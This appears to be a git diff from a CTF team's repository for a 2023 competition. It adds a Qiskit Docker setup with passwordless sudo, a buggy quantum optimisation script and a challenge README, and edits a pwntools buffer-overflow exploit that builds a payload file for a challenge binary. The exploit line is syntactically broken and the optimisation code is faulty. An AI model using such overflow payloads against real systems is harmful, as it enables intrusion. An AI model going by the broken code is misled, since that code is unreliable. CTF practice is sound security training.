diff --git a/Unibw 2023/misc/quantum/Dockerfile b/Unibw 2023/misc/quantum/Dockerfile new file mode 100644 index 00000000..153d92a4 --- /dev/null +++ b/Unibw 2023/misc/quantum/Dockerfile @@ -0,0 +1,92 @@ +FROM debian:buster-slim +MAINTAINER Sergio Martinez-Losa + +ENV DEBIAN_FRONTEND noninteractive + +ENV QISKIT_USER=qiskit + +# Optional: set your IBM QISKIT API TOKEN HERE +#ENV QISKIT_API_TOKEN="UPDATE_THIS_API_TOKEN" + +# CREATE NEW USER +RUN useradd --create-home -s /bin/bash $QISKIT_USER + +ENV QISKIT_DIR=/home/$QISKIT_USER + +COPY requirements.txt $QISKIT_DIR + +RUN apt-get update && apt-get upgrade -y +RUN apt-get install -y build-essential poppler-utils texlive-latex-base texlive-latex-extra libopenblas-dev \ + sudo unzip wget nano poppler-utils cmake git libssl-dev zlib1g-dev libncurses5-dev libgdbm-dev \ + libnss3-dev libssl-dev libreadline-dev libffi-dev curl python3-pip python3-dev + +WORKDIR $QISKIT_DIR + +RUN mkdir -p qiskit-jupyter + +ENV PIP_DISABLE_PIP_VERSION_CHECK=1 +RUN pip3 install pip==20.3.1 +RUN pip install -r requirements.txt + +# INSTALL EACH COMPONENT OF QISKIT FROM SOOURCE ONE BY ONE, developers ONLY!!!! (Advanced) UNSTABLE +RUN pip install cython +RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-terra.git +RUN cd qiskit-terra && pip install -r requirements-dev.txt && pip install -e . + +RUN pip install scikit-build +RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-aer +RUN cd qiskit-aer && pip install -e . + +RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-ignis.git +RUN cd qiskit-ignis && pip install -r requirements-dev.txt && pip install -e . + +RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-ibmq-provider.git +RUN cd qiskit-ibmq-provider && pip install -r requirements-dev.txt && pip install -e . + +RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-aqua.git +RUN cd qiskit-aqua && pip install -r requirements-dev.txt && pip install -e . + +RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-nature.git +RUN cd qiskit-nature && pip install -r requirements-dev.txt && pip install -e . + +RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-optimization.git +RUN cd qiskit-optimization && pip install -r requirements-dev.txt && pip install -e . + +RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-finance.git +RUN cd qiskit-finance && pip install -r requirements-dev.txt && pip install -e . + +RUN pip install qiskit-machine-learning[torch] +RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-machine-learning.git +RUN cd qiskit-machine-learning && pip install -r requirements-dev.txt && pip install -e . + +RUN pip install -I git+https://github.com/qiskit-community/Quantum-Challenge-Grader.git + +# FINISHING PACKAGES +RUN pip install keras pandas xlrd seaborn scikit-learn matplotlib opencv-python tqdm pillow pennylane pennylane-qiskit \ + image scipy regex cffi qasm2image pylatexenc tikz2graphml kaleidoscope plotly==4.14.1 jupyterlab --use-deprecated=legacy-resolver + +# Install qiskit textbook +RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-textbook +RUN cd qiskit-textbook && git checkout stable && pip install -r requirements.txt + +# Optional, install pennylane QML +RUN python3 -m pip install pennylane --upgrade && \ + python3 -m pip install pennylane-forest pennylane-qiskit pennylane-sf pennylane-qsharp \ + pennylane-cirq pennylane-honeywell amazon-braket-pennylane-plugin qulacs pennylane-qulacs \ + pennylane-orquestra pennylane-aqt pennylane_pq qsimcirq + +# SET ROOT PERMISSION FOR ALL USERS +RUN chown -R $QISKIT_USER:$QISKIT_USER /home/$QISKIT_USER/ +RUN usermod -aG sudo $QISKIT_USER +RUN echo '%sudo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers + +# CHANGE TO NEW USER +USER $QISKIT_USER + +# RUN JUPYTER ON PORT 8889 +CMD [ "jupyter" , "notebook", "--ip=0.0.0.0", "--port=8889", "--notebook-dir=./qiskit-jupyter", "--no-browser" ] + +# Get the jupyter token : docker logs -f + +# This image can be run as (update the token value) +# docker run -p 8889:8889 -it --env QISKIT_API_TOKEN="your_api_token" :TAG diff --git a/Unibw 2023/misc/quantum/test.py b/Unibw 2023/misc/quantum/test.py new file mode 100644 index 00000000..a2748051 --- /dev/null +++ b/Unibw 2023/misc/quantum/test.py @@ -0,0 +1,47 @@ +from qiskit import QuantumCircuit, Aer, transpile, assemble +from qiskit.aqua.components.optimizers import COBYLA +from qiskit.circuit import Parameter +import numpy as np + +# Define the desired probability distribution +target_probs = [0.1666666666] * 6 + +# Define the quantum circuit +circ = QuantumCircuit(6, 6) +circ.h(range(6)) + +# Add the parameterized Ansatz using Parameter +params = [Parameter(f'var{i}') for i in range(6)] +circ.rx(params[0], 0) +circ.rx(params[1], 1) +circ.rx(params[2], 2) +circ.rx(params[3], 3) +circ.rx(params[4], 4) +circ.rx(params[5], 5) + + +# Define the optimization objective function +def objective_function(params): + # Update the circuit with new parameters + updated_circ = circ.bind_parameters({params[i]: optimal_params[i] for i in range(6)}) + + # Compile and run the circuit + t_circ = transpile(updated_circ, Aer.get_backend('qasm_simulator')) + qobj = assemble(t_circ) + result = Aer.get_backend('qasm_simulator').run(qobj).result() + + # Calculate the probability distribution + counts = result.get_counts() + probs = [counts.get(format(i, '06b'), 0) / result.shots for i in range(2 ** 6)] + + # Calculate the objective function (sum of squared differences) + return sum((probs[i] - target_probs[i]) ** 2 for i in range(2 ** 6)) + + +# Optimize the circuit parameters +optimizer = COBYLA(maxiter=1000) +optimal_params = optimizer.optimize(num_vars=6, objective_function=objective_function) + +# Print the optimal parameters +print("Optimal Parameters:", optimal_params) + diff --git a/Unibw 2023/rev pwn/Baby Cyberdyne/ape.py b/Unibw 2023/rev pwn/Baby Cyberdyne/ape.py index 2255009f..f1f462c6 100644 --- a/Unibw 2023/rev pwn/Baby Cyberdyne/ape.py +++ b/Unibw 2023/rev pwn/Baby Cyberdyne/ape.py @@ -1,20 +1,24 @@ from pwn import * -elf = ELF(os.getcwd() + "/0d2dd2de6fc66a1b0e38dc299e38e0da") +elf = ELF(os.getcwd() + "/baby") gs = ''' unset env LINES unset env COLUMNS set follow-fork-mode child -br *handle_conn+631 -# br *main+420 +# br *0x5663c4b8 +br gets continue ''' def start(): if args.GDB: - return gdb.debug([elf.path], gs) + return gdb.debug(elf.path, gs) else: return process([elf.path]) -io = start() -io.sendline() \ No newline at end of file +# io = start() +# input("waiting...") +OFFSET = 0x56555000 +with open("input", "wb+") as f: + f.write(b'A'*42 + p32(1) + p32(0xd34db33f) + cyclic(cyclic_find('caaa')) + p32(OFFSET + ^)) +# io.interactive \ No newline at end of file diff --git a/Unibw 2023/rev pwn/Baby Cyberdyne/baby b/Unibw 2023/rev pwn/Baby Cyberdyne/baby new file mode 100755 index 00000000..59a144e1 Binary files /dev/null and b/Unibw 2023/rev pwn/Baby Cyberdyne/baby differ diff --git a/Unibw 2023/rev pwn/Baby Cyberdyne/input b/Unibw 2023/rev pwn/Baby Cyberdyne/input new file mode 100644 index 00000000..0ba50d43 Binary files /dev/null and b/Unibw 2023/rev pwn/Baby Cyberdyne/input differ diff --git a/Unibw 2023/rev pwn/Hide and Seek/9c6600421a497cfaf89a336e0cef2357 b/Unibw 2023/rev pwn/Hide and Seek/9c6600421a497cfaf89a336e0cef2357 new file mode 100644 index 00000000..d94064ed Binary files /dev/null and b/Unibw 2023/rev pwn/Hide and Seek/9c6600421a497cfaf89a336e0cef2357 differ diff --git a/Unibw 2023/rev pwn/Hide and Seek/README.md b/Unibw 2023/rev pwn/Hide and Seek/README.md new file mode 100644 index 00000000..1eba1a66 --- /dev/null +++ b/Unibw 2023/rev pwn/Hide and Seek/README.md @@ -0,0 +1,16 @@ +Hide and Seek + +General Ashdown is bored of hiding his ass. He wants some action, but not the dangerous kind ... more some action like watching a duck swim. + +9c6600421a497cfaf89a336e0cef2357 + +Hint: The challenge is build with for glibc (2.36-9) 2.36. If your terminal is crashing or hanging during execution, preload the needed libc or maybe better, just use docker, e.g.: + +# Dockerfile +FROM debian:bookworm + +COPY ./9c6600421a497cfaf89a336e0cef2357 / + +Build with: docker build -t chall . + +Run with: docker run --name chall --rm -it chall bash